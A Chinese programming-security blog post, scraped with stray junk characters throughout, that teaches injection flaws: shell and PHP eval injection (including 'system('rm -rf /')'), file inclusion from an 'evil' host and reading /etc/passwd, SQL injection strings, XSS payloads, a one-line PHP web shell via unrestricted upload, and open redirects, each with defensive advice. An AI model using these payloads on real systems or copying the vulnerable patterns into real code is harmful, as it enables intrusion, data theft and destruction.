|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1
' `, Y. m c7 k# q8 J* a! _! u[size=1em]2
+ r c9 l/ Q4 ~[size=1em]3
' U5 f7 a9 e3 d[size=1em]4
8 R4 B4 t, e/ d. m$ v: q3 C[size=1em]5
$ G0 @( w6 x, X; y$ j: ^1 Q3 S[size=1em]6
- `2 _# }) p, T1 m9 Q" [/ ^6 v' n[size=1em]7 - l: v: \2 v0 x! R, |
[size=1em]8 2 E0 p7 `7 x7 u$ t9 B* h1 S
[size=1em]9
1 _) h' f8 a9 z+ P, Z7 |# h0 t: H8 y[size=1em]10 2 p, G. p+ Q( s. k1 V
[size=1em]11 & r. e- S! W- A ~: w
| [size=1em][size=1em]use CGI qw(:standard);
# l+ ~/ n! x+ |[size=1em]$name = param('name');1 W9 ?( x1 R3 L, {. L8 ~" G
[size=1em]$nslookup = "/path/to/nslookup";
1 V0 ?% z" G( @; j& Q6 _) }[size=1em]print header;
) t+ o: Y8 K% j[size=1em]if (open($fh, "$nslookup $name|")) {9 |* L/ E( `& n8 @0 E
[size=1em] while (<$fh>) {, O! N! s' T' a+ |' c
[size=1em] print escapeHTML($_);
/ s3 W* {3 c2 k2 k5 Q[size=1em] print "<br>\n";
4 i" [4 W! O7 M z& R1 w' H4 g[size=1em] }
8 t2 g1 n/ {, K/ w& O[size=1em] close($fh);2 d. \6 G9 H: d1 f; o3 W, d% S
[size=1em]}. x+ i; w& |7 j& C: l6 P6 D7 P
) U& L, G) \; I5 C. D | + C& f" k8 D9 j% L! }
. E! V6 o+ W8 P. U* {. K& W) k% K
如果用户输入的参数是: [size=1em][size=1em]1
" s; C1 m# r6 f' ?( P, S | [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l
: }* @4 ~% S2 _8 X' W6 T) v5 e. n6 Y3 Y# B
|
; d" p9 o1 s& g, K$ v1 s- l1 ^* k- t0 _7 H
那么,这段perl的程序就成了: 0 D f% j' j7 z9 R) N% a
[size=1em][size=1em]1 9 Y6 E# L1 p3 j5 `: \6 W; M% z
| [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l0 t, s& g* k3 G6 l; A
: y& }7 |( Y3 o" g6 F' G
| 5 W. Q5 P5 @2 ^/ n$ k
5 C' F# ~% i/ k1 J( A7 v! A我们再来看一段PHP的程序: [size=1em][size=1em]1 6 g1 k1 e/ \& K; l9 g8 U
[size=1em]2
1 p% c' L6 m( G8 r[size=1em]3 3 t3 C- { N+ u0 z3 y8 g+ D6 k, Z
| [size=1em][size=1em]$myvar = 'somevalue';) F# _( \! G2 y! `
[size=1em]$x = $_GET['arg'];
5 C$ ]# n1 f' i* _5 i9 Z% y+ f" ][size=1em]eval('$myvar = ' . $x . ';');
K( J: [8 C* g8 ^# ~# `# ?. w! P- ^% b! `7 I ~
| % o# g7 q7 N9 K6 Y. ?" O- O
* ~( X. t6 ~# [7 i4 [
“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1 6 w% H" y6 q, l' F7 P) v
[size=1em]2 % r- v4 v/ g1 N
[size=1em]3
+ S. r% E8 s& \2 d[size=1em]4
# X7 B r$ g7 C' _0 z/ w0 U[size=1em]5
9 R7 s6 R1 V' i% J/ z1 D. p[size=1em]6 ) J7 `* B L; V' s3 ^
| [size=1em][size=1em]$isadmin= false; F, Y! }* i- T2 \
[size=1em]...
8 b' a9 X" |! s. y0 l- W5 D[size=1em].... o. a9 j6 |/ y* t
[size=1em]foreach ($_GET as $key => $value) {
1 i; y3 t& E [5 C" r[size=1em] $$key = $value;+ L1 I+ k! L2 U* X6 H4 `: U1 g; v
[size=1em]}
6 C3 |* z+ Q/ a! ^
2 v3 P7 G4 Z1 X' V( j* O% C | 0 c- _% b! O/ U4 f8 V
* D3 S( p6 n7 X0 C) e% ]如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1 , B8 P- U! O$ B/ I
[size=1em]2
, q1 t% i6 g. g' _) n5 q3 d5 r[size=1em]3 : J* V2 H. h$ d6 c' h
[size=1em]4 7 y% _* o0 O$ K$ J0 A% A8 B; ?* N" }
| [size=1em][size=1em]$action = 'login';
4 [8 D6 R& U: D e' _* K# J[size=1em] if (__isset( $_GET['act'] ) )
. }+ M9 |+ Z8 f$ _[size=1em] $action = $_GET['act'];
" |% H/ a. n. `[size=1em] require( $action . '.php' );
- a% k2 y. E+ f. v5 G' ]8 j* K" [: z% W6 \$ i% y
| % |9 v. x" V/ j) ?# c* q: z
: q7 \& l9 l6 ]4 m* D这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)2 K; a' ?5 `2 `7 I+ r" V' O" ]9 s& [! B, o
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
' S& m& R- Q+ k% W+ R! {& {6 C
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 / T1 z4 h8 r8 v
[size=1em]2
3 ]& ]+ X, L% D9 A( S | [size=1em][size=1em]strSQL = "SELECT * FROM users, ^, a3 }7 k9 |) G8 v
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');" l- {1 c; ] D& D2 d F
- _* s3 ^6 l/ x
| * m* O1 ~* w8 i6 _
+ G4 {' `7 J8 _. y! |# e, d9 k
用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 9 C u5 a- l) f- ?* {. s9 R5 V
| [size=1em][size=1em]userName = "' OR '1'='1";; C3 N7 V! L2 s/ w3 q
3 P2 C. p( _9 F! S8 ^8 D3 J; ?
|
' [. G; f0 d1 Q. z# x2 R* [5 ], b3 s, e4 V5 j; c
[size=1em][size=1em]1 ! g- g4 X6 X( t6 M8 g1 U, u) o' y
| [size=1em][size=1em]passWord = "' OR '1'='1";9 I! T5 g2 X3 ~# l0 o
; l) K _- Z' P, l- P5 z3 R |
" `4 @0 [0 W0 V: u* |& q! t! r; _ X$ H8 l3 L2 ?4 q2 c
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
( w5 w6 s0 W& L9 Q[size=1em]2
; J3 ~$ q+ m. H- v$ D# t( f3 A# c | [size=1em][size=1em]strSQL = "SELECT * FROM users# ], L% y. A# d l; C! ?
[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"4 o# {+ T% \. k5 c+ e% A
! `+ j5 s) `5 x" P/ I
| 6 ~# ^8 O2 c& G8 ^" ^: L8 e; Y. Z' u
+ N2 q' B* \. N" t9 \ t
也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1
q& H$ D" V* R+ ~5 D5 N. X- L | [size=1em][size=1em]strSQL = "SELECT * FROM users;"% D i- K M7 I y( p; d+ @2 i7 O6 p
( B% T" N& n! C | 1 `) e$ W/ k" X. j5 R) m: ^9 O% o
: T9 M- O" G7 V6 ?+ w o
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1
5 j" b2 a3 G/ q# Q) s/ [' b | [size=1em][size=1em]username= "' ; DELETE FROM users; --";/ i4 J6 Y+ s+ j+ Z% m Z# X
5 _1 k- ^5 i# t9 t, D& ~
|
: T+ J0 }/ G9 d/ f6 l: d% W2 j: [& _! m8 K: P
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1 & M" ~% T) D, r. w3 ]( K" n; G
[size=1em]2 8 Q* `: L0 x) ]8 @
[size=1em]3
8 }9 }# V P+ b[size=1em]4
0 [* Y8 }) d% R4 X% j[size=1em]5 0 L: Z0 i2 O9 T/ y
| [size=1em][size=1em]<table background=”javascript:alert(1)”># l* h- e, W* b9 ?7 G- M- l' f: G
+ s$ }& @. c" H _
[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾5 [. B; R+ E# w3 i: f
3 R4 W# Y8 N- p) ~
[size=1em]<img src=”javascript:alert(1)”>
* G: i2 F% m M$ D' I* h6 t) ^1 d
| - a: Q* S8 |% D
3 J5 P0 A8 |" E. }& ]
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
& }& c) B Z/ j% p2 g. M/ g3 L" w | |
- n9 a- h& h# e4 D! K2 F# v0 U% V" |' N2 Z, i% @( E! t6 ?
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。4 F7 ?5 E8 A K D& s
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。' W) J. N6 C0 Z1 T8 \
5 r2 [ L! q) S
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。" K3 D' Q. Q8 T4 h: z8 L6 F+ a
- 限制cookie的过期时间。 B6 ~6 ]1 i4 ^8 E
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)9 q+ c" @8 G3 u( o3 M
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 : v4 n) Z/ n4 l, R( {- y$ r9 j
[size=1em]2
; s( t! V/ ?* q _# K R! r2 ?- T[size=1em]3 3 {4 N2 J! H. r5 k4 l
[size=1em]4 0 c+ g3 d$ k. H0 p
[size=1em]5
: ^) _7 k/ m' {; c( t[size=1em]6 # v4 r# r3 N' S7 R+ Y
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">
& \$ X+ n: d+ K+ k+ [. N, P+ V[size=1em]要上传的文件:, L* ?6 F5 d3 b- `3 |1 _+ g k; i
[size=1em]<input type="file" name="filename"/>
, O1 T: Q2 G6 I3 _[size=1em]<br/>
& a) j$ o9 [" a" N8 b! g[size=1em]<input type="submit" name="submit" value="Submit"/>4 B1 Y& c; {& n* S6 E5 X
[size=1em]</form>
* R' e" M* \0 r u- g( R$ U6 b# m, L
) I' Y( u0 w7 W% V, K
6 V- L$ i/ U# W/ S[size=1em]后台上传文件的PHP程序[size=1em]1
/ e! B) N5 r- e0 f6 _[size=1em]2
- z( s: r' H& P+ _# {0 O% S[size=1em]3 # N6 Q( ]+ |3 z5 S- N. Z0 R
[size=1em]4
* w/ V1 D2 u( Z- m! R; m[size=1em]5
$ Z& T% V5 T1 {3 }[size=1em]6 / K, a: m$ \0 T! E. F: u* _
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
4 @( y& k! A; L" b. x( Q[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){3 y* o. y* j; \ D7 a
[size=1em] echo "图片文件上传成功";. f g0 r& |8 v
[size=1em]}else{</div>6 q9 p6 h3 u& h i3 j
[size=1em] echo "图片文件上传失败";
) S1 ~) w& X% {[size=1em]}
9 S. q/ y, s8 E4 y8 U6 O) k$ J6 K. ^3 m; @ I3 h( F4 c: {2 `$ k
+ {! u" |% B# Q5 ]/ y- `
0 P! x* e7 f0 X: M3 Q: k假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 : {% e* p8 V& ?5 L) p
[size=1em]2
& A1 b' A' e$ ?* i! i[size=1em]3
; {# Y2 N6 Q" |% g2 n; f4 N) K c* Y9 v[size=1em][size=1em]<?php' e2 Q+ T: I1 X, y2 Y
[size=1em]system($_GET['cmd']);3 K' x2 p+ i9 \5 l. ~3 _4 f- c
[size=1em]?># k6 @: K7 i9 ?7 ]- {7 a2 O
8 P f X" |6 o3 b# W5 I) g/ n( k; E
! x# o1 S5 f: b: @8 r
; ?( n/ A* Q. _8 Z9 a
那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1 + S$ L5 i% b1 l' A( G8 E( _# r# w
| [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
: g8 Y0 W+ ?4 m6 h1 C `4 J) S4 d! w
| 3 v$ z* D% S0 {& y
# B. F. v1 h0 ^/ x
抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1 2 {5 Q: G1 R" j
[size=1em]2
) ]7 Z) s6 c" i1 m9 | | [size=1em][size=1em]$redirect_url = $_GET['url'];; ]3 b+ o; N F
[size=1em]header("Location: " . $redirect_url);$ Q" g8 c- Y6 K3 w
* T$ c6 o6 }# _! c | " v# x6 f9 W( c l
' a1 `9 A+ r. B5 O这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。 , ~. ^0 O& h. E1 ?: [3 R
[size=1em][size=1em]1
0 J( v' |4 ~5 x$ {9 { | [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
9 D$ o4 P5 i" ?# z2 y I. L3 Q7 A7 l2 G3 S w
|
& f4 A+ a5 i( r! w" G
: z: ]6 Y2 [1 i5 p: Q, [' H$ [这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |